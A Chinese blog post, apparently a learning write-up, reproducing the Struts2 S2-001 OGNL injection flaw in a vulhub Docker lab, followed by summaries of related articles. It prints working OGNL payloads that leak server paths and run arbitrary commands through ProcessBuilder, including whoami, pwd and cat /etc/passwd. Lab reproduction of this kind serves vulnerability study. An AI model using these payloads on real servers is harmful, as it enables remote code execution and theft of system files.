Struts2漏洞S2-001复现

【研究】Struts2漏洞之S2-001漏洞环境和POC 【研究】Struts2漏洞之S2-001漏洞环境和POC1.环境2.原理3.影响版本4.利用过程POC 1.环境 环境 https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md 这个搭环境很方便快捷,具体可以看说明,很简单 2.原理 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{v... 阅读详情

Struts2 漏洞S2-001复现学习笔记

S2-001复现

原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

漏洞环境搭建

https://github.com/vulhub/vulhub/tree/master/struts2/s2-001

运行以下命令进行设置

docker-compose build
docker-compose up -d

访问 http://127.0.0.1:8080/
在这里插入图片描述

漏洞poc测试

1.输入**%{‘123’}**,sumbit
在这里插入图片描述

2.返回123,参数值,证明漏洞存在
在这里插入图片描述

构造poc

  1. 获取tomcat路径:
    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    

在这里插入图片描述

语句执行后,查看返回的语句信息:
在这里插入图片描述

  1. 获取网站真实路径:
    %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
    

在这里插入图片描述
在这里插入图片描述

  1. 构造查看权限的poc:
    %{
    
    #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
    
    #b=#a.getInputStream(),
    
    #c=new java.io.InputStreamReader(#b),
    
    #d=new java.io.BufferedReader(#c),
    
    #e=new char[50000],
    
    #d.read(#e),
    
    #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
    
    #f.getWriter().println(new java.lang.String(#e)),
    
    #f.getWriter().flush(),#f.getWriter().close()
    
    }
    

在这里插入图片描述

  1. 执行任意命令只需要将上面的poc中whoami替换:
    %{
    
    #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
    
    #b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
    
    #d=new java.io.BufferedReader(#c),
    
    #e=new char[50000],#d.read(#e),
    
    #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
    
    #f.getWriter().println(new java.lang.String(#e)),
    
    #f.getWriter().flush(),
    
    #f.getWriter().close()
    
    }
    

在这里插入图片描述

  1. 执行命令(带参数的命令:new java.lang.String[]{"cat","/etc/passwd"}):
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

在这里插入图片描述

关闭docker环境

命令:docker-compose down -v
Struts2 漏洞复现之s2-001 Struts2 漏洞复现之s2-001 原理: 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。 复现步骤 1. 进入vulhub目录下漏洞环境的目录 cd vulhub-master/struts2/s2-001 阅读详情

相关推荐

vulhub struts2漏洞搭建与复现(s2-001 s2-005)

s2-001 github下载vulhub git clone https://github.com/vulhub/vulhub.git 下载完成后进入目录vulhub/struts2/s2-001 docker-compose up -d 启动 docker ps查看容器运行状态 浏览器访问ip+端口 查看目录vulhub/struts2/s2-001中的readme中文说明 S2-001 远程代码执行漏洞 原理 参考 http://rickgray.me/2016/05/06/rev

wocao___的博客 1123

一次绕过防火墙获取RCE以及提权到root权限的渗透过程

本文是关于Apache struts2 CVE-2013-2251是由于导致执行远程命令的影响而被高度利用的漏洞。简而言之,通过操纵以“action:”/”redirect:”/”redirectAction:”为前缀的参数引入的漏洞,允许在使用<Struts 2.3.15作为框架的Java Web应用程序中执行远程命令。 现在,当这个漏洞以病毒式疯狂传播时,主要的应用防火墙...

weixin_30667301的博客 680

[ vulhub漏洞复现篇 ] Struts2 远程命令执行漏洞(S2-001)

Struts2 远程命令执行漏洞(S2-001) 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

qq_51577576的博客 1498

Apache Struts2远程代码执行漏洞(S2-001)复现

0x01 漏洞概述 1、漏洞名称 漏洞名称:Struts Remote Code Exploit 漏洞编号:Struts2-001 漏洞类型:Remote Code Execution 2、漏洞原理 Struts2 是流行和成熟的基于 MVC 设计模式的 Web 应用程序框架。 Struts2 不只是 Struts1 下一个版本,它是一个完全重写的 Struts 架构。Struts2 的标签中使用的是OGNL表达式,OGNL 是 Object Graphic Navigation Language(

m0_58606546的博客 2659

别再为Word转PDF表格变形发愁了!Aspose.Words for Java 19.5 保姆级避坑指南

本文详细介绍了使用Aspose.Words for Java 19.5解决Word转PDF时表格变形问题的完整方案。从格式转换原理到实战技巧,涵盖固定表格宽度、禁用自动调整、强制文本换行等核心方法,并提供高级场景应对策略和性能优化建议,帮助开发者高效处理复杂文档转换需求。

weixin_28702105的博客 267

PyCharm与MicroPython联手:打造高效ESP32开发环境

本文详细介绍了如何使用PyCharm与MicroPython打造高效的ESP32开发环境。通过配置PyCharm插件、刷写MicroPython固件以及实战示例,帮助开发者快速上手嵌入式Python开发,显著提升物联网项目的开发效率。

weixin_29169899的博客 380

Struts2 系列漏洞 - S2-001

Struts2 是较早出现实现 MVC 思想的 java 框架。struts2 在 jsp 文件中使用 ognl 表达式来取出值栈中的数据。struts 标签与 ognl 表达式的关系类似于 jstl 标签与 el 表达式的关系。[故在 jsp 文件中需引入 struts 标签库]

YJ_12340的博客 612

Kinect V1结构光激光散斑原理及样式

   对 intel realsense F200 和 Kinect V1的coding pattern原理进行调研,知二者都使用light coding的方式,该方法与传统的coded structure light不同:传统编码结构光(空间编码,时间编码)最终使用的是三角测量的原理计算深度信息;light coding通过投射具有高度伪随机性的激光散斑,会随着不同距离变换不同

松间明月 1万+

struts2(s2-001)远程代码执行漏洞docker&&vulhub复现

struts2(s2-001)远程代码执行漏洞docker&&vulhub复现

qq_43455259的博客 3174

机械臂视觉抓取避坑指南:如何正确计算手眼标定矩阵(附Numpy代码)

本文详细解析了机械臂视觉抓取中手眼标定矩阵的计算方法,特别针对'眼在手上'配置下的常见错误提供了解决方案。通过Numpy代码示例和坐标转换原理,帮助开发者避免矩阵计算错误和坐标转换偏差,提升工业自动化系统的精度和效率。

weixin_29081703的博客 243

从零开始用TS开发babylonjs - 本机环境搭建

babylonjs,初始化本地安装,web3d引擎

han3527638的专栏 796

Struts2漏洞 (S2-001)漏洞原理及复现

Struts2中允许用户提交包含OGNL表达式字符串的表单数据; 若表单验证失败,服务器会将用户提交的OGNL表达式进行解析执行;

weixin_73180072的博客 1233

SAP BAPI调用避坑指南:处理MD61/MD62计划独立需求时,这些参数和返回值你必须检查

本文详细解析了SAP BAPI调用中处理MD61/MD62计划独立需求的关键参数和返回值检查要点,包括版本控制、日期类型和删除标记等核心参数设置,以及常见错误排查和高级调试技巧,帮助开发者高效管理需求计划数据。

weixin_30316097的博客 612

Struts2框架漏洞总结与复现(S2-001,S2-005,S2-007)

MVC(模型-视图-控制器)是一种常用的软件设计模式,用于分离应用程序的业务逻辑、数据和用户界面。它通过将应用程序分为三个核心组件(Model、View 和 Controller),实现了关注点分离,从而提高了代码的可维护性和扩展性。

Cccchuan_的博客 1904

ESP32 STA AP模式下,设备连接 ESP的AP 后无法上网,无法访问域名上网(或者Failed to enable NAPT)

ESP32 STA AP模式下,设备连接 ESP的AP 后无法上网,无法访问域名上网(或者Failed to enable NAPT)1.可能是ESP STA模式未成功连接到路由器,确保 STA 成功连接到外部网络。2.检查 STA 和 AP 的网络配置是否正确,避免子网冲突。3.ESP32的NAPT功能未正确启用,确保 menuconfig 中已启用 IP_NAPT。4.DNS服务器未正确配置。

qq_34885669的博客 1540

StarRC常见问题整理

我正在「拾陆楼」和朋友们讨论有趣的话题,你⼀起来吧?使用starrc_cmd “错误代码”就能看对应Error或Warnning的解释。

m0_61544122的博客 3132

Apache Struts2漏洞复现之s2-001漏洞复现

Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。缘起于Apache Struts的WebWork框架,旨在提供相对于Struts框架的增强和改进,同时保留与Struts框架类似的结构。2005年12月,WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布(full release)版本释出。

热爱学习,喜欢折腾! 625

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

CVE与重要漏洞复现之Struts2漏洞S2-001

CVE与重要漏洞复现之Struts2漏洞S2-001

没有网络安全就没有国家安全 663

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

Struts2 S2-001 远程代码执行漏洞——漏洞复现

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。​ 此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。

weixin_42090431的博客 285

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Apache Struts2远程代码执行漏洞(S2-001)复现(1)

​ 此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。Struts 2允许用户提交包含 OGNL 表达式字符串的表单数据,若表单验证失败,则服务器会将用户之前提交的OGNL 表达式(如:%{1+1}) 进行解析执行,然后将结果重新填充到对应的表单数据中。但OGNL 解析代码实际上是在 XWork 中,struts2标签解析主要依赖于 xwork2,所以该漏洞可以理解为 xwork2 的漏洞。

2401_86437100的博客 1221

vulhub struts2 s2-001漏洞复现

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。执行任意命令执行的是new java.lang.String[]{"pwd"}中的pwd命令,我们只需将pwd命令替换成我们想要的命令即可。可以看到环境启动成功。

weixin_54786196的博客 445

别再手动敲POC了!用Vulhub一键复现Struts2全系列漏洞(S2-001到S2-019)

本文介绍了如何使用Vulhub快速复现Struts2全系列漏洞(S2-001到S2-019),避免手动搭建环境的繁琐过程。通过Docker容器化技术,Vulhub实现了开箱即用的漏洞复现环境,大幅提升安全测试效率。文章详细讲解了环境配置、工具链优化以及批量验证实战技巧,帮助安全研究员快速掌握自动化漏洞检测方法。

weixin_42522552的博客 131

Apache Struts2远程代码执行漏洞(S2-001)复现总结

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录前言一、Struts2远程代码执行漏洞(S2-001)复现检验方法利用漏洞进行命令执行 前言 为了加深对struts漏洞的理解,记录下复现struts漏洞的过程. 一、Struts2远程代码执行漏洞(S2-001)复现 在这里使用墨者学院的靶场进行复现 检验方法 在表格中输入%{1+1}看返回结果是否为2 返回结果都为2,证明账户和密码表格处都存在这个漏洞 利用漏洞进行命令执行 输入以下代码进行命令执行 %{ #a=(new

qq_45746681的博客 2384
上一篇: JBoss5.x6.x反序列化漏洞(CVE-2017-12149)复现学习
下一篇: Struts2漏洞S2-005复现笔记
脚本实习生
博客等级 码龄8年 12粉丝 27原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值